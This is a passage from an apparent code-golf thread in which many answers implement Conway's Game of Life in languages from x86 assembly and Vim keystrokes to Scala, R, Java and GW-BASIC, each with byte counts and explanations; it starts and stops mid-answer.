for a dead cell. Then I take the remainder mod 6 of the sum of the three numbers around the cell being modified to find the total number of live neighbor cells (it's just like the divisibility by 9 trick—in base 7, the remainder mod 6 equals the sum of the digits). Saves about 10 bytes by itself and gives the opportunity to use the next two optimizations. Example diagram (let's say there is a glider centered at a certain column at Y=45: ``` Row # | Cell State | Stored number | Mod 6 = cell count ... 44 Live, Live, Live 49+7+1 = 57 3 45 Dead, Dead, Live 49+0+0 = 49 1 46 Dead, Live, Dead 0+7+0 = 7 1 ... ``` The center cell will stay dead, because it is surrounded by exactly five live cells. * After each row is completed, the numbers in the array are updated by dividing the existing numbers by 7, discarding the decimal part, and adding 49 times the values of the cells in the new column. Storing all three columns each time through would be much slower and less elegant, take at least 20 more bytes, and use three lists rather than one, because the values of cells in each row must be stored before cells are updated. This is by far the smallest way to store cell positions. * The snippet `int(3fPart(3cosh(` gives `1` when the input equals 3/6, `2` when it equals 4/6, and `0` when it equals 0, 1/6, 2/6, or 5/6. Saves about 6 bytes. [Answer] ## x86 Assembler, MSDOS, 32 bytes [![game of life, msdos, 32 bytes](https://i.stack.imgur.com/NKo4g.gif)](https://i.stack.imgur.com/NKo4g.gif) ``` 0xC5 0x24 0x20 0xB3 0x07 0x08 0x04 0xA7 0xC0 0x2D 0x05 0x91 0x02 0x41 0x5E 0x02 0x40 0xFC 0x02 0x80 0x9C 0x00 0x4B 0x75 0xF2 0x8A 0x04 0xF9 0xD2 0xD8 0xEB 0xE1 ``` This code is written in x86 assembler and works in MSDOS. The binary is 32 bytes in size. You can find a [very detailed description here](http://www.sizecoding.org/wiki/Game_of_Life_32b). The visible field is 80x25. The output is directly shown on the screen in textmode, which also works as input, so you can enter patterns before you start the program. You can [download and comment](https://www.pouet.net/prod.php?which=85485) the intro, you can also [test an online version](http://twt86.co/?c=xSQgswcIBKfALQWRAkFeAkD8AoCcAEt18ooE%2BdLY6%2BE%3D). ``` lds sp,[si] X: db 32 mov bl,7 ; O: 3 iterations or [si],al ; O: Add in new cell cmpsw shr byte [di],5 ; O: Shift previous value C: xchg cx,ax add al,[di+bx+94] ; O: Add in this column add al,[si+bx-4] add al,[si+bx+156] dec bx ; O: Loop back jnz C mov al,[si] ; O: 3 = birth, 4 = stay (tricky): stc ; O: 1.00?0000x --> 0.0x100?00 (rcr 3) rcr al,cl ; O: +---> 0.00x100?0 (rcr 4) jmp short X-1 ``` [Answer] **Mathematica - 333** Features: * Interactive interface: click cells to make your patterns * Nice grid * Buttons: RUN, PAUSE, CLEAR The code is below. ``` Manipulate[x=Switch[run,1,x,2,CellularAutomaton[{224,{2,{{2,2,2},{2,1,2},{2,2,2}}}, {1,1}},x],3,Table[0,{k,40},{j,40}]];EventHandler[Dynamic[tds=Reverse[Transpose[x]]; ArrayPlot[tds,Mesh->True]],{"MouseClicked":>(pos=Ceiling[MousePosition["Graphics"]]; x=ReplacePart[x,pos->1-x[[Sequence@@pos]]];)}],{{run,3,""},{1->"||",2->">",3->"X"}}] ``` ![enter image description here](https://i.stack.imgur.com/8UKiP.png) If you want to get a feel how this runs, 2nd example in [**this blog**](http://blog.wolfram.com/2012/04/18/how-to-make-interactive-apps-with-cdf/) is just a more elaborate version (live Fourier analysis, better interface) of the code above. Example should run right in your browser after free plugin download. [Answer] # C 1063 characters As a challenge, I did this in C using the golf-unfriendly Windows API for real time IO. If capslock is on, the simulation will run. It will stay still if capslock is off. Draw patterns with the mouse; left click revives cells and right click kills cells. ``` #include <windows.h> #include<process.h> #define K ][(x+80)%20+(y+80)%20*20] #define H R.Event.MouseEvent.dwMousePosition #define J R.Event.MouseEvent.dwButtonState HANDLE Q,W;char*E[3],O;Y(x,y){return E[0 K;}U(x,y,l,v){E[l K=v;}I(){E[2]=E[1];E[1]=*E;*E=E[2];memset(E[1],0,400);}A(i,j,k,l,P){while(1){Sleep(16);for(i=0;i<20;++i)for(j=0;j<20;++j){COORD a={i,j};SetConsoleCursorPosition(Q,a);putchar(E[0][i+j*20]==1?'0':' ');}if(O){for(i=0;i<20;++i)for(j=0;j<20;++j){for(k=i-1,P=0;k<i+2;++k)for(l=j-1;l<j+2;++l){P+=Y(k,l);}U(i,j,1,P==3?1:Y(i,j)==1&&P==4?1:0);}I();}}}main(T,x,y,F,D){for(x=0;x<21;++x)puts("#####################");E[0]=malloc(800);E[1]=E[0]+400;I();I();W=GetStdHandle(-10);Q=GetStdHandle(-11);SetConsoleMode(W,24);INPUT_RECORD R;F=D=O=0;COORD size={80,25};SetConsoleScreenBufferSize(Q,size);_beginthread(A,99,0);while(1){ReadConsoleInput(W,&R,1,&T);switch(R.EventType){case 1:O=R.Event.KeyEvent.dwControlKeyState&128;break;case 2:switch(R.Event.MouseEvent.dwEventFlags){case 1:x=H.X;y=H.Y;case 0:F=J&1;D=J&2;}if(F)U(x,y,0,1);if(D)U(x,y,0,0);}}} ``` The compiled EXE can be found [here](http://whff.frogbox.es/download.php?file=kwn8dgtgs3) Edit: I've commented up the source. It's available [Here](http://pastebin.com/BrX6wgUj) [Answer] # J (39 characters) ``` l=:[:+/(3 4=/[:+/(,/,"0/~i:1)|.])*.1,:] ``` Based on [this APL version](http://www.youtube.com/watch?v=a9xAKttWgP4) (same algorithm, toroidal convolution). Example usage: ``` r =: (i.3 3) e. 1 2 3 5 8 r 0 1 1 NB. A glider! 1 0 1 0 0 1 R =: _1 _2 |. 5 7 {. r R 0 0 0 0 0 0 0 NB. Test board 0 0 0 1 1 0 0 0 0 1 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 l R 0 0 0 0 0 0 0 NB. Single step 0 0 0 1 1 0 0 0 0 0 0 1 1 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 ``` [Answer] # [Vim](https://www.vim.org), ~~549~~ ~~552~~ ~~533~~ ~~421~~ *420 bytes* Nice. *+3 because of a bug where cells wouldn't die if no cells came to life.* *-19 because I made a version that was generalized to any grid size and realized that I accidentally golfed it.* *-112 bytes because of whatnot and hornswoggling.* *-1 byte because yes.* ``` Go0 if "<C-v><C-v><C-v><C-r>""=="<Esc>^"zC<C-v><C-v><C-v> norm <Esc>^"yC<C-v><C-v><C-v> en<C-v><C-v><Esc>^"xCyl'm:<C-r>z@"||"<C-v><C-r>""=="o"<C-r>y<C-v><C-v><C-v><C-a><C-r>x <Esc>^"iC'm"myl`cyl:<C-r>z "&&<C-v><C-r>m==3<C-r>yr+<C-v> else<C-r>z@"&&<C-v><C-r>m<2<C-r>yro<C-v> else<C-r>z@"&&<C-v><C-r>m>3<C-r>yro<C-r>x <Esc>^"aC`chyl:<C-r>z#"<C-r>y$h<C-r>x mc<Esc>^"hC`cjyl:<C-r>z#"<C-v> cal cursor(2,col('.'))<C-r>x mc<Esc>^"jC`ckyl:<C-r>z#"<C-v> cal cursor(line('$')-2,col('.'))<C-r>x mc<Esc>^"kC`clyl:<C-r>z#"<C-r>y0l<C-r>x mc<Esc>^"lC yl:<C-r>z!"<C-v> %s/[+@]/@/g<C-v> %s/o/ /g<C-v> k<C-v> else<C-r>z<BS><BS><BS>!="#" <C-r>ymc'mr0`c@h@i@k@i@l@i@l@i@j@i@j@i@h@i@h@i@k@l@a<C-r>x @e<Esc>0"eDddmm ``` [Try it online!](https://tio.run/##1Y9PS8NAEMXxFnLcw1562W5qt6VqQr2JkYEIfghRGrax@bPbhRSlW/rd4yQmBeteBC8OzLLvx5s3zEfTPJnIL94Yp5QSzuOYj175IUHlb02tGSrbqWxLKYp9YpXQd@QA/Hjk/YjhxKLngux9tBSJ0FxbtZJWoZHx6ZQSHce3xNYLDFK7rB3v6P0SoTmDD63TfIWlyUrmXU6ASyY5Ui2R58jLnlNfporJ93pn6tnySho1EzdiPh@8JXorl1cV22wmJmJ@7ZiqcEqdNkdq4CphHR1j1uUufF7ASwjhphMmZO2vGg7yPG8c84AzYrUUuo5WEnIooMJWfZd9531XSFNcBtko4tnjeq11s9kwyPzubQJn@QED9qNa7OCIAcDtZv8dw3DwNwwnfuaGX7md2X9/jqvGnw) This was fun. The input in the TIO is (obviously) the GoL grid. You can place living tiles as `@`, and each `gg @e` in the footer is a single step, so you can add or remove them as you want to see different iterations of the board. For each cell in the grid, it goes to all of the surrounding tiles, wrapping if it hits a `#`, and if the tile is `@` (alive) or `o` (about to die), it increments the counter. Depending on what the counter is after checking each surrounding tile, it marks the cell to live or die, or do nothing. After checking each tile in the grid, it replaces all of the `+` with `@` and all of the `o` with . It's a bit slow, but on TIO, it's a bit faster than on my machine, which is nice. This also works for any grid size, including rectangular grids. [Answer] ## Mathematica, 123 characters A very rudimentary implementation that doesn't use Mathematica's built-in CellularAutomaton function. ``` ListAnimate@NestList[ImageFilter[If[3<=Total@Flatten@#<=3+#[[2]][[2]],1,0]&,#,1]&,Image[Round/@RandomReal[1,{200,200}]],99] ``` [Answer] # Pure Bash, 244 bytes Works on a toroidally-wrapped 36x24 universe: ``` mapfile a for e in {0..863};{ for i in {0..8};{ [ "${a[(e/36+i/3-1)%24]:(e+i%3-1)%36:1}" == O ]&&((n++)) } d=\ c=${a[e/36]:e%36:1} [ "$c" == O ]&&((--n==2))&&d=O ((n-3))||d=O b[e/36]+=$d n= } printf -vo %s\\n "${b[@]}" echo "$o" exec $0<<<"$o" ``` Since this is a shell script, the method of input is congruent with other shell commands - i.e. from stdin: ``` $ ./conway.sh << EOF O O OOO EOF O O OO O O O O OO ``` ... etc We can redirect input from any text source, piped through a `tr` filter to get interesting initial generations, e.g. ``` man tr | tr [:alnum:] O | ./conway.sh ``` [Answer] ## Scala, 1181 1158 1128 1063 1018 1003 999 992 987 characters ``` import swing._ import event._ object L extends SimpleSwingApplication{import java.awt.event._ import javax.swing._ var(w,h,c,d,r)=(20,20,20,0,false) var x=Array.fill(w,h)(0) def n(y:Int,z:Int)=for(b<-z-1 to z+1;a<-y-1 to y+1 if(!(a==y&&b==z)))d+=x((a+w)%w)((b+h)%h) def top=new MainFrame with ActionListener{preferredSize=new Dimension(500,500) menuBar=new MenuBar{contents+=new Menu("C"){contents+={new MenuItem("Go/Stop"){listenTo(this) reactions+={case ButtonClicked(c)=>r= !r}}}}} contents=new Component{listenTo(mouse.clicks) reactions+={case e:MouseClicked=>var p=e.point x(p.x/c)(p.y/c)^=1 repaint} override def paint(g:Graphics2D){for(j<-0 to h-1;i<-0 to w-1){var r=new Rectangle(i*c,j*c,c,c) x(i)(j)match{case 0=>g draw r case 1=>g fill r}}}} def actionPerformed(e:ActionEvent){if(r){var t=x.map(_.clone) for(j<-0 to h-1;i<-0 to w-1){d=0 n(i,j) x(i)(j)match{case 0=>if(d==3)t(i)(j)=1 case 1=>if(d<2||d>3)t(i)(j)=0}} x=t.map(_.clone) repaint}} val t=new Timer(200,this) t.start}} ``` Ungolfed: ``` import swing._ import event._ object Life extends SimpleSwingApplication { import java.awt.event._ import javax.swing._ var(w,h,c,d,run)=(20,20,20,0,false) var x=Array.fill(w,h)(0) def n(y:Int,z:Int)=for(b<-z-1 to z+1;a<-y-1 to y+1 if(!(a==y&&b==z)))d+=x((a+w)%w)((b+h)%h) def top=new MainFrame with ActionListener { title="Life" preferredSize=new Dimension(500,500) menuBar=new MenuBar { contents+=new Menu("Control") { contents+={new MenuItem("Start/Stop") { listenTo(this) reactions+= { case ButtonClicked(c)=>run= !run } }} } } contents=new Component { listenTo(mouse.clicks) reactions+= { case e:MouseClicked=> var p=e.point if(p.x<w*c) { x(p.x/c)(p.y/c)^=1 repaint } } override def paint(g:Graphics2D) { for(j<-0 to h-1;i<-0 to w-1) { var r=new Rectangle(i*c,j*c,c,c) x(i)(j) match { case 0=>g draw r case 1=>g fill r } } } } def actionPerformed(e:ActionEvent) { if(run) { var t=x.map(_.clone) for(j<-0 to h-1;i<-0 to w-1) { d=0 n(i,j) x(i)(j) match { case 0=>if(d==3)t(i)(j)=1 case 1=>if(d<2||d>3)t(i)(j)=0 } } x=t.map(_.clone) repaint } } val timer=new Timer(200,this) timer.start } } ``` The larger part of the code here is Swing GUI stuff. The game itself is in the `actionPerformed` method which is triggered by the `Timer`, and the helper function `n` which counts neighbours. Usage: Compile it with `scalac filename` and then run it with `scala L`. Clicking a square flips it from live to dead, and the menu option starts and stops the game. If you want to change the size of the grid, change the first three values in the line: `var(w,h,c,d,r)=(20,20,20,0,false)` they are width, height and cell size (in pixels) respectively. [Answer] ## Ruby 1.9 + SDL (~~380~~ ~~325~~ 314) **EDIT**: 314 characters, and fixed a bug with extra cells appearing alive on the first iteration. Upped the grid size to 56 since the color routine only looks at the lowest 8 bits. **EDIT**: Golfed down to 325 characters. Grid width/height is now 28 since 28\*9 is the largest you can have while still using the value as the background colour. It also processes only one SDL event per iteration now, which obviates the inner loop completely. Pretty tight I think! The simulation starts paused, with all cells dead. You can press any key to toggle pause/unpause, and click any cell to toggle it between alive and dead. Runs an iteration every tenth of a second. The wrapping is a bit wonky. ``` require'sdl' SDL.init W=56 R=0..T=W*W b=[] s=SDL::Screen.open S=W*9,S,0,0 loop{r="#{e=SDL::Event.poll}" r['yU']?$_^=1:r[?Q]?exit: r['nU']?b[e.y/9*W+e.x/9]^=1:0 b=R.map{|i|v=[~W,-W,-55,-1,1,55,W,57].select{|f|b[(i+f)%T]}.size;v==3||v==2&&b[i]}if$_ R.map{|i|s.fillRect i%W*9,i/W*9,9,9,[b[i]?0:S]*3} s.flip sleep 0.1} ``` Looks like this: ![Screenshot of the app in action](https://i.stack.imgur.com/lPgtG.png) Fun challenge! I welcome any improvements anybody can see. [Answer] # ><>, 284 bytes ``` 0fv $ @$0$+1~< +$>i:1+ ?!v:a=?^}$:@@:@{@p$1 @@:@(?$ &$>~&l1=?v: v f0-e&< v> > >$:{:}=?v:1+@$:@}}000102101220212280& ^v?=+f}}@:{{:+1$0~< >:1-$?!v@${:}+1-${{:@}}+1-l2-[f-{{:@}}:@+$%f+${:}:@+$%$]g"!"=&+& $@:${{~/]$r[5{{+" "+*@=3@=2:&="!"g}}@: ~~<00 v!?-4lf0]rpr[-2l~~ ``` Try it at <https://suppen.no/fishlanguage>! It takes the initial configuration as input, and uses a wrapping grid of the inputted size. Here's an example grid for a glider: ``` v v ! ! !!! v v ``` s and `v`s are dead cells (`v`s can be used instead of s to avoid truncation), and `!`s are alive cells. The lines don't have to be of the same size; the maximum length will be used. Here's a Gosper glider gun: (this takes a while) ``` v ! v ! ! !! !! !! ! ! !! !! !! ! ! !! !! ! ! !! ! ! ! ! ! ! ! !! v v ``` It stores the input in the program grid and applies changes in place, so the current state can be seen in a visual interpreter like <https://suppen.no/fishlanguage> [Answer] # [Stencil](https://github.com/abrudz/Stencil), 6 bytes *Not my favourite language, but it **is** short…* 4 code bytes plus the `∊`nlist and `T`orus flags. ``` 3∊me ``` [Try it online!](https://tio.run/##Ky5JzUvOzPn/3/hRR1du6v//JgpGBgqGRgoGCgaPupY86l1h@qh3i5HCo965Cuk5mSmpRf/yC0oy8/OK/wM1hAAA "Stencil – Try It Online") Is…  `3` 3  `∊` a member of  `m` the **m**oore-neighbourhood-count with self or  `e` the moor**e**-neighbourhood-count without self …? [Answer] **C# - 675 chars** I've always wanted to write a version of this program. Never knew it would only take a lazy half hour for a quick and dirty version. (Golfing it takes much longer, of course.) ``` using System.Windows.Forms;class G:Form{static void Main(){new G(25).ShowDialog();} public G(int z){var g=new Panel[z,z];var n=new int [z,z];int x,y,t;for(int i=0;i<z; i++)for(int j=0;j<z;j++){var p=new Panel{Width=9,Height=9,Left=i*9,Top=j*9,BackColor =System.Drawing.Color.Tan};p.Click+=(s,a)=>p.Visible=!p.Visible;Controls.Add(g[i,j]= p);}KeyUp+=(s,_)=>{for(int i=0;i<99;i++){for(x=0;x<z;x++)for(y=0;y<z;y++){t=0;for(int c=-1;c<2;c++)for(int d=-1;d<2;d++)if(c!=0||d!=0){int a=x+c,b=y+d;a=a<0?24:a>24?0:a;b= b<0?24:b>24?0:b;t+=g[a,b].Visible?0:1;}if(t==3||t>1&&!g[x,y].Visible)n[x,y]=1;if(t<2 ||t>3)n[x,y]=0;}for(x=0;x<z;x++)for(y=0;y<z;y++)g[x,y].Visible=n[x,y]<1;Update();}};}} ``` **Usage** * Enter a starting pattern by clicking cells to turn them on (alive). * Start the game by pressing any keyboard key. * The game runs for 99 generations every time a key is pressed (I could have made it 9 to save a char, but that seemed too lame). **Golfing compromises** * You can only turn cells on with the mouse, not off, so if you make a mistake you have to restart the program. * There are no grid lines, but that doesn't hurt playability too much. * Update speed is proportional to CPU speed, so on very fast computers it will probably be just a blur. * Living cells are red because "black" uses 2 more characters. * The smallness of the cells and the fact that they don't use up all the form space are also character-saving compromises. [Answer] ## JavaScript, 130 Not totally responding to the challenge, but for the record, here's a Game of Life engine in 130 bytes made by Subzey and I in 2013. <http://xem.github.io/miniGameOfLife/> ``` /* Fill an array with 0's and 1's, and call g(array, width, height) to iterate */ g=function(f,c,g,d,e,b,h){g=[];e=[c+1,c,c-1,1];for(b=c*c;b--;g[b]=3==d||f[b]&&2==d,d=0)for(h in e)d+=f[b+e[h]]+f[b-e[h]];return g} ``` [Answer] # [R](https://www.r-project.org/), ~~149~~ 144 bytes ``` function(m)repeat{image(m) p=apply(which(m|1,T),1,function(j)sum(m[t((j+t(which(m[1:3,1:3]|1,T)-3))%%20)+1])) a=p==3|m&p==4;m[]=0;m[a]=1 scan()} ``` [Try it online!](https://tio.run/##TY/RCsIwDEXf@x@TBCusm09K/sK3MaTUznWsXekqKuq3z1JRfMhNAueGm7CcpdXHqTuOptO0dBenopkcWAzaaxkfPhgX08o8Se/HO1x7o3qwT8EPyAX/OQacLxZsEwGGdfxijdjVPFWb@U2NWBSiwrVoEZkkT1Q/7Sq17d42LZVJZUuCzUo6wNcyRxkiWRmDuUHJXZiuJCru1DSmjuw8mpMOX0AlpEyhRNY84cdTI8unfnno42T//0NGkC1v "R – Try It Online") *(Note that TIO version swaps `image` for `print` so that output is visible, and reduces the grid size to 12x12 to fit into the browser window)* Well, the challenge is still open so I guess it must be Ok to submit almost 9 years late! And there hasn't been an `R` submission yet. The function is called using the full starting pattern in the form of a 20x20 matrix, and it then steps forward once every time the *return* key is pressed. Output is quite pretty using the R `image` function, or (for the same number of characters) quite ugly using only `1`s and `0`s. [![enter image description here](https://i.stack.imgur.com/3BIXd.gif)](https://i.stack.imgur.com/3BIXd.gif) Commented: ``` game_of_life=function(m) # Input m as starting state, repeat{ # Repeat... image(m) # Draw grid of current state; p= # Find p =number of live neighbours (including self): apply(which(m|1,T),1, # loop over coordinates of grid... function(j)sum( # getting sums of... m[ # live cells at... t((j+ # this coordinate... t(which(m[1:3,1:3]|1,T)-3)) # plus offsets -1 to surrounding neighbours # (including itself)... %%20) # modulo the size of the grid (20)... +1])) # plus 1 (to get 1-based coordinates) a=p==3|m&p==4; # set cells with 3 live neighbours (including self) m[]=0;m[a]=1 # or 4 (if already alive) to 1; # all others to 0. scan()} # Wait for user input before next round ``` This is a *code-golf* implementation, which admittedly rather sacrifices ease-of-input (the TIO example demonstrates how to easily set-up a glider flying across the grid). For an extra ~~13 bytes~~ byte (145 total), it can be ~~bloated~~ improved to accept an unlimited-sized starting matrix, with the dimensions specified as an additional argument ([here](https://tio.run/##TZDRysIwDIXv@x5KghVW91/9krfwbgwpXaeVpStdRUV99lkqihfJycV3TkLifNBs92O/H1xvae7P3iQ3emDZYbTB6nQP0fkEjCKQDmG4weXozBH4oeQOpZJfzwmnMwM3CeC0Sh@sUf@1zNUWfl0jLhYdrlSLKDQFovrByyx/W25aqnLXLSkxGe0Bn/OUdEzEOkV3hUr6OF5IbaQ345AVxWFwnY0fwGSkyjep0suEb0@NokR9z6G3U/w@AAoiDeQNORzF/AI)). [Answer] # Mathematica, 115 bytes Here's an easy cop-out to this: ``` ListAnimate[ArrayPlot/@CellularAutomaton[{224,{2,{{2,2,2},{2,1,2}, {2,2,2}}},{1,1}},{RandomInteger[1,{9,9}],0},90]] ``` [Answer] # Java (OpenJDK 8) - ~~400 388~~ 367 bytes Second and (probably) Final Edit: Managed to golf an extra 21 bytes after finding these (imo) [gold](https://codegolf.stackexchange.com/questions/6671/tips-for-golfing-in-java)[mines](https://codegolf.stackexchange.com/questions/5285/tips-for-golfing-in-all-languages) - definitely recommend new people to read these (especially if you're going to try some of these challenges using Java). Resulting code (probably going to end up golfing even more if I find out how to shorten those double nested for loops...): ``` u->{int w=u.length,h=u[0].length,x,y,i,j,n;Stack<Point>r=new Stack<Point>();for(;;){for(Point c:r)u[c.x][c.y]=1;r.clear();for(x=0;x<w;++x)for(y=0;y<h;++y){boolean o=u[x][y]>0;n=o?-1:0;for(i=-2;++i<2;)for(j=-2;++j<2;)if(u[(w+x+i)%w][(h+y+j)%h]>0)++n;if(o&n>1&n<4|!o&n==3)r.add(new Point(x,y));System.out.print(u[x][y]+(y>h-2?"\n":""));}for(int[]t:u)Arrays.fill(t,0);}} ``` [Try it online!](https://tio.run/##7VXLbpwwFF2Hr3BHSmQLxoJpV2Mg6gdUqjTKirJwGCaYMPbI2AFE@fbphaHRdNW8FGUR8fI9Pj4@12dByR/4Uh1yWW7vj2J/UNqgEjBqjajod615VzPnfII3hv5UQpp/4Ym/MTy7Z46TVbyu0Q8uZO8gBNxc73iWo5uxROhBiS3KMOBJmqTIEgbwAA/cteFGZOgGWRSho13GPdBQE1la5fLOFF4R2cRP/1at13nCKz3Jpr3DyVmsI5k36BzBhO2UxoyRfvxOIMrWmtgko20Kry6NAqZpVuVcz@w28lkbNsx1WzLWHdRdWEDdkf5WKaBKpMAPCHRp7DMZqetlsPan1SJaroAqwhWbVpenuhxrscM2wY3buoJcNmmCC7dzS3JZgApxXcmAoK5kHFzJ8NvvLzCMoq9EU77d4rG1yT@G5glhm642@Z4qa@hBj/Dsx8VdXCxX14tfcrFeLIA5TLbGUzdrS07h0p2oKmw8H6aHIzuFcLC3FYQwZzHFtYcw8cbABncQGSfAOoVpaTZZmtPse997g2vwnIuLUf795YLXygXPFfyfu@BRIjgbv0gueEp7z3X38ZN9ctvvKBe8bbMfW87/lPuUe5Qb5j/@cPwD "Java (OpenJDK 8) – Try It Online") (Original post starts here.) I actually thought for a moment that I would be able to at least challenge the best Python answer with my (arguably limited) knowledge of Java lol...It was a challenge I nevertheless enjoyed partaking in (despite having joined the party perhaps just a little bit late...) There's not much to it really - basic explanation as follows (ungolfed): ``` /* * Explanation of each variable's usage: * w=height* of array * h=width* of array * x=y* coord of point in array * y=x* coord of point in array * i and j are counters for calculating the neighbours around a point in the array * n=neighbour counter * r=temporary array to store the cells from the current generation * u=the 2d array used for all the calculations (parameter from lambda expression) * c=temporary variable used to help populate the 2d array * o=boolean variable that stores the value of whether the cell is alive or not */ u-> // start of lambda statement with u as parameter (no need for brackets as it's only one parameter being passed) { int w=u.length,h=u[0].length,x,y,i,j,n; // defines all the necessary integer variables; Stack<Point>r=new Stack<Point>(); // same with the only array list needed (note how I only use two data structures); for(;;) // notice how this is still an infinite loop but using a for loop; { for(Point c:r)u[c.x][c.y]=1; //for every point in the "previous" generation, add that to the 2D array as a live (evil?) cell; r.clear(); // clears the array list to be populated later on for(x=0;x<w;++x) // a pair of nested for loops to iterate over every cell of the 2D array; { for(y=0;y<h;++y) { // sets o to be the presence of a live cell at (x,y) then uses said value in initialising the neighbour counter; boolean o=u[x][y]>1;n=o?-1:0; for(i=-2;++i<2;) // another pair of nested for loops - this one iterates over a 3x3 grid around *each* cell of the 2D array; { // this includes wrap-around (note the modulus sign in the if statement below); for(j=-2;++j<2;) { if(u[(w+x+i)%w][(h+y+j)%h]>0)++n; // this is where the first interesting thing lies - the bit which makes wrap-around a reality; } } if(o&n>1&n<4|!o&n==3)r.add(new Point(x,y)); // this is the second interesting bit of my code - perhaps more so as I use bitwise operators to calculate the number of neighbours (x,y) has; // (since I'm technically dealing with 0s and 1s, it's not a total misuse of them imo); System.out.print(u[x][y]+(y>h-2?"\n":"")); // that extra part of the print statement adds a newline if we reached the end of the current 'line'; } } // since the information about the new generation is now in the array list, this array can be emptied out, ready to receive said info on the new generation; for(int[]t:u)Arrays.fill(t,0); } } // end of lambda statement ``` (more information about lambda statements in Java 8 [here](http://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html)) Yes, there's a catch with my approach. As most of you probably noticed, my golfed code as it currently stands will loop forever. To prevent this, a counter can be introduced at the top and used in the while loop to only display `n` (in this case, 5) iterations as follows (notice the new `b` variable added): ``` u->{int b=0,w=u.length,h=u[0].length,x,y,i,j,n;Stack<Point>r=new Stack<Point>();for(;++b<6;){for(Point c:r)u[c.x][c.y]=1;r.clear();for(x=0;x<w;++x)for(y=0;y<h;++y){boolean o=u[x][y]>0;n=o?-1:0;for(i=-2;++i<2;)for(j=-2;++j<2;)if(u[(w+x+i)%w][(h+y+j)%h]>0)++n;if(o&n>1&n<4|!o&n==3)r.add(new Point(x,y));System.out.print(u[x][y]+(y>h-2?"\n":""));}for(int[]t:u)Arrays.fill(t,0);}} ``` Additionally, a few points worth mentioning. This program does not check if the input is correct and will, therefore, fail with (most likely) an `ArrayOutOfBoundsException`; as such, make sure to check that the input is valid by completely filling in a part of an array (skewered arrays will throw the exception mentioned above). Also, the board as it currently is looks 'fluid' - that is, there is no separation between one generation and the next. If you wish to add that in to double-check that the generations being produced are indeed valid, an extra `System.out.println();` needs to be added just before `for(int[]t:u)Arrays.fill(t,0);` (see this [Try it online!](https://tio.run/##7VbNbpwwGDyHp3BXSmQL1oJtT2sg6gNUqrTKiXJwWDaYsPbK2AFEefbtB0uibS9N2ijKIeLPM4yH@TQXSv7Al@qQy3J7fxT7g9IGlcBRa0RFv2rNu5o55y94Y@h3JaT5nZ70G8Oze@Y4WcXrGn3jQvYOQqDN9Y5nOboZIUIPSmxRhoFP0iRFljCgB7jgrA03IkM3yKIIHe0y7kGGmsjSKpd3pvCKyCZ@@ohar/OEV3qSTd8Op2SxjmTeoHMGE7ZTGjNG@vE5kShba2KTjLYp3Lo0CpimWZVzPavbyGdt2DDXbcmIO8BdWADuSH@rFEglUpAHDLo09pmM1PUyWPvTbhEtVyAV4YpNu8sTLkcsdtgmuHFbV5DLJk1w4XZuSS4LcCGuKxkI1JWMgysZfvn5CZZR9JloyrdbPI425ccwPCFs09Um31NlDT3okZ7zuLiLi@XqevFDLtaLBSiHP6WVnCedqjBrS06N052oKmw8H/YMR3Zq5mBvK2hmLmjqcA8N440BqzvokRNQnRq2NJtyzhX3ve@9wjF4zsXFaP/2dsH/2gUvNfxbuuDJIjhb/5Nd8JzxXpru/Tf77LHf0C543WHft53/Yfdh92Q3zL8Bw/EX "Java (OpenJDK 8) – Try It Online") for clarity). And last, but not least, given that this is my first code golf, any feedback is greatly appreciated :) Old code from previous 388 byte answer: ``` u->{int w=u.length,h=u[0].length,x,y,i,j,n;ArrayList<Point>r=new ArrayList<Point>();while(true){for(Point c:r)u[c.x][c.y]=1;r.clear();for(x=0;x<w;++x){for(y=0;y<h;++y){boolean o=u[x][y]==1;n=o?-1:0;for(i=-2;++i<2;)for(j=-2;++j<2;)if(u[(w+x+i)%w][(h+y+j)%h]==1)++n;if(o&n>1&n<4|!o&n==3)r.add(new Point(x,y));System.out.print(u[x][y]);}System.out.println();}for(int[]t:u)Arrays.fill(t,0);}} ``` And from the initial 400 byte answer: ``` int w=35,h=20,x,y,i,j,n;ArrayList<Point>l=new ArrayList<Point>(),r;while(true){int[][]u=new int[w][h];for(Point c:l)u[c.x][c.y]=1;r=new ArrayList<Point>();for(x=0;x<w;++x){for(y=0;y<h;++y){boolean o=u[x][y]==1;n=o?-1:0;for(i=-2;++i<2;)for(j=-2;++j<2;)if(u[(w+x+i)%w][(h+y+j)%h]==1)++n;if(o&n>1&n<4|!o&n==3)r.add(new Point(x,y));System.out.print(u[x][y]);}System.out.println();}l.clear();l.addAll(r);} ``` [Answer] # Java/Processing, ~~289~~ 287 bytes This is my first submission to Code Golf. * a grid of 100x100 that wraps around * draw custom patterns with mouse ``` void draw(){if(mousePressed){line(pmouseX,pmouseY,mouseX,mouseY);return;} loadPixels();PImage p=get();for(int i=0,x=0,y=0,n=0,w=100,h=100;i<w*h;i++, x=i%w,y=i/w,n=0){for(int j=0;j<9;j++)n+=p.get((x+j%3-1+w)%w,(y+j/3-1+h)%h) /color(0);if(n!=4)pixels[i]=color(n==3?0:255);}updatePixels();} ``` [![CodeGolf submission Conway Game of Life](https://i.stack.imgur.com/NeZTb.gif)](https://i.stack.imgur.com/NeZTb.gif) **Ungolfed version** ``` void draw() { if (mousePressed) { line(pmouseX, pmouseY, mouseX, mouseY); return; } loadPixels(); PImage p=get(); for (int i=0, x=0, y=0, n=0, w=100, h=100; i<w*h; i++, x=i%w, y=i/w, n=0) { for (int j=0; j<9; j++) n+=p.get((x+j%3-1+w)%w, (y+j/3-1+h)%h)/color(0); if (n!=4) pixels[i]=color(n==3?0:255); } updatePixels(); } ``` [Answer] ### GW-BASIC, 1086 1035 bytes (tokenised) In tokenised form, this is 1035 bytes. (The ASCII form is, of course, a bit longer.) You get the tokenised form by using the `SAVE"life` command without appending `",a` in the interpreter. ``` 10 DEFINT A-Z:DEF SEG=&HB800:KEY OFF:COLOR 7,0:CLS:DEF FNP(X,Y)=PEEK((((Y+25)MOD 25)*80+((X+80)MOD 80))*2) 20 X=0:Y=0 30 LOCATE Y+1,X+1,1 40 S$=INKEY$:IF S$=""GOTO 40 50 IF S$=CHR$(13)GOTO 150 60 IF S$=" "GOTO 130 70 IF S$=CHR$(0)+CHR$(&H48)THEN Y=(Y-1+25)MOD 25:GOTO 30 80 IF S$=CHR$(0)+CHR$(&H50)THEN Y=(Y+1)MOD 25:GOTO 30 90 IF S$=CHR$(0)+CHR$(&H4B)THEN X=(X-1+80)MOD 80:GOTO 30 100 IF 